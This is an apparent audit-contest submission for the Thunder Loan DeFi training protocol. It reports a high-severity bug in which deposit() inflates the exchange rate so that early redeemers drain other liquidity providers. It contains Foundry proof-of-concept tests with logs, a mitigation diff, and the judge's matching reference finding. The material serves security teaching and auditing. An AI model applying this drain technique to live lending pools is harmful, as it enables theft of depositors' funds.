Thunder Loan
AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
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Submission Details
Severity: high
Valid

[H-2] `deposit()` artificially inflates the exchange rate, enabling excess underlying extraction

jfornells

Root + Impact

deposit() updates the exchange rate without real profit, causing pool insolvency.

Description

deposit() should calculate how many LP tokens to mint based on the current exchange rate.

However, it also updates the exchange rate using a calculated fee as if profit had been earned, even though no flash loan occurred. This artificially inflates the rate on every deposit. The first redeemer recovers more underlying than they deposited, taking value directly from other liquidity providers and leaving the pool undercollateralized.

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
// ...
assetToken.mint(msg.sender, mintAmount);
@> uint256 calculatedFee = getCalculatedFee(token, amount);
@> assetToken.updateExchangeRate(calculatedFee); // no real profit occurred
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Risk

Likelihood: High

  • Triggered on every deposit. Any user can call deposit() without restrictions.

Impact: High

  • Creates a mismatch between LP tokens minted and actual collateral.

  • Every redeem() after the inflation returns more underlying than deserved, draining other depositors' collateral.

  • Can leave the protocol insolvent.

Proof of Concept

function test_Deposit_Function_Updates_ExchangeRate() public {
IThunder aProxy = IThunder(address(proxy));
AssetToken asset = AssetToken(address(assetTokenA));
​
address alice = makeAddr("alice");
address bob = makeAddr("bob");
tokenA.mint(alice, 100e18);
tokenA.mint(bob, 100e18);
​
console2.log("exchangeRate initial:", asset.getExchangeRate());
​
vm.startPrank(alice);
tokenA.approve(address(aProxy), 100e18);
aProxy.deposit(IERC20(tokenA), 100e18);
vm.stopPrank();
console2.log("exchangeRate after Alice deposit:", asset.getExchangeRate());
​
vm.startPrank(bob);
tokenA.approve(address(aProxy), 100e18);
aProxy.deposit(IERC20(tokenA), 100e18);
vm.stopPrank();
console2.log("exchangeRate after Bob deposit:", asset.getExchangeRate());
​
vm.prank(alice);
aProxy.redeem(tokenA, asset.balanceOf(alice));
​
vm.prank(bob);
vm.expectRevert("ERC20: transfer amount exceeds balance");
aProxy.redeem(tokenA, asset.balanceOf(bob));
​
console2.log("Alice redeemed:", tokenA.balanceOf(alice));
console2.log("Bob redeemed:", tokenA.balanceOf(bob)); // 0 — pool drained
}
Logs:
exchangeRate initial: 1000000000000000000
exchangeRate after Alice deposit: 1003000000000000000
exchangeRate after Bob deposit: 1004506753369945082
Alice redeemed: 100450675336994508200
Bob redeemed: 0

Recommended Mitigation

Remove the fee calculation and rate update from deposit(). The exchange rate must only be updated inside flashloan() after fees have actually been received by the pool.

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
// ...
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

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